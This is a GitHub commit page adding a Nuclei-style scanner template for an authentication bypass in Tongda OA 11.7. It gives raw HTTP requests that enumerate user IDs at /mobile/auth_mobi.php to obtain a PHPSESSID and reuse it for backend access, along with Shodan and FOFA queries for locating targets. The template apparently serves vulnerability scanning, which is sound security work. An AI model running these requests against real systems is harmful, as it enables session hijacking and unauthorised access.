Merge pull request #7715 from HuTa0kj/dev/tongda-online-user-login

Create tongda-online-user-login
patch-1
pussycat0x 2023-07-21 14:26:09 +05:30 committed by GitHub
commit f874188740
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 41 additions and 0 deletions

View File

@ -0,0 +1,41 @@
id: tongda-auth-bypass
info:
name: Tongda OA 11.7 - Authentication Bypass
author: HuTa0
severity: high
description: |
Tongda OA is a collaborative office automation software independently developed by Beijing Tongda Xinke Technology Co., LTD v11.7 has the interface query online user function, when the user is online, it will return PHPSESSION so that it can log in to the background system.
reference:
- https://s1xhcl.github.io/2021/03/13/%E9%80%9A%E8%BE%BEOA-v11-7-%E5%9C%A8%E7%BA%BF%E7%94%A8%E6%88%B7%E7%99%BB%E5%BD%95%E6%BC%8F%E6%B4%9E/
metadata:
max-request: 2
verified: true
shodan-query: title:"通达OA"
fofa-query: title="通达OA"
tags: tongda,auth-bypass
http:
- raw:
- |
GET /mobile/auth_mobi.php?isAvatar=1&uid={{uid}}&P_VER=0 HTTP/1.1
Host: {{Hostname}}
- |
GET /general/ HTTP/1.1
Host: {{Hostname}}
payloads:
uid: helpers/wordlists/numbers.txt
cookie-reuse: true
stop-at-first-match: true
matchers:
- type: dsl
dsl:
- "len(body_1) == 0"
- '!contains(body_1, "RELOGIN")'
- "contains(header_1,'PHPSESSID=')"
- "status_code_1 == 200 && status_code_2 == 200"
- "contains(body_2,'user_id:') && contains(body_2,'user_name:') && contains(body_2,'var loginUser')"
condition: and